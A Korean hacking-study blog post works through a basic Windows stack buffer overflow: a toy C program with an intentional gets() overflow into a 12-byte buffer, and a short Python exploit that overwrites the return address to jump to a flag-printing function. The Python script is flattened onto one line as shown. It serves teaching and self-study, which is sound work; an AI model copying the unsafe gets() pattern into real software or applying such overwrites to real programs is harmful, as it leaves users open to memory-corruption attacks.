ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Windows BOF
    Hack/Windows 2016. 5. 24. 20:45

    이제부터 Win BOF를 공부해보려 하는데, 간단한 프로그램을 작성해서 리눅스와 동일하게 오버플로우를 해보았다.


    #include <stdio.h>


    void flag() {

    char flag[20];

    FILE *fp;

    fp = fopen("flag.txt","r");

    fgets(flag,sizeof(flag),fp);

    printf("%s",flag);

    fclose(fp);

    }


    int main()

    {

    char buf[12];

    gets(buf);

    printf("%s",buf);

    return 0;

    }


    소스는 간단하게 flag 라는 함수가 존재하고 gets 함수에서 오버플로우가 발생한다.


    그럼 12바이트를 채우고, ebp와 eip를 덮어주면 되겠지



    A를 16개입력해주니, EBP가 41414141로 바뀌었다. eip 를 덮어줘야하는데, flag 함수의 위치를 보면 0x401000이다.


    플래그를 출력하기위해서는 eip를 flag 함수로 덮어써주면되는데, 대략 익스플로잇을 짜보자면


    "A"*12 + 0xdeadbeef + 0x401000 


    이정도면 플래그가 출력될것이다. 파이썬으로 익스플로잇 코드를 짜보자


    import struct from subprocess import * p = lambda x:struct.pack("<L",x) up = lambda x:struct.unpack("<L",x) filename = "bof.exe" proc = Popen(filename, stdin=PIPE ) payload = "A"*12 payload += p(0xdeadbeef) payload += p(0x00401000) proc.stdin.write(payload)






    BOOM!!

    'Hack > Windows' 카테고리의 다른 글

    SEH(Structured Exception Handling)  (0) 2016.06.01
    Windows BOF (ASLR)  (0) 2016.06.01
    Windows Calc Shellcode  (0) 2016.06.01
    Windows BOF Exploit with Shellcode  (0) 2016.05.27
    Windows Shellcode 에러  (0) 2016.05.27

    댓글

Designed by Tistory.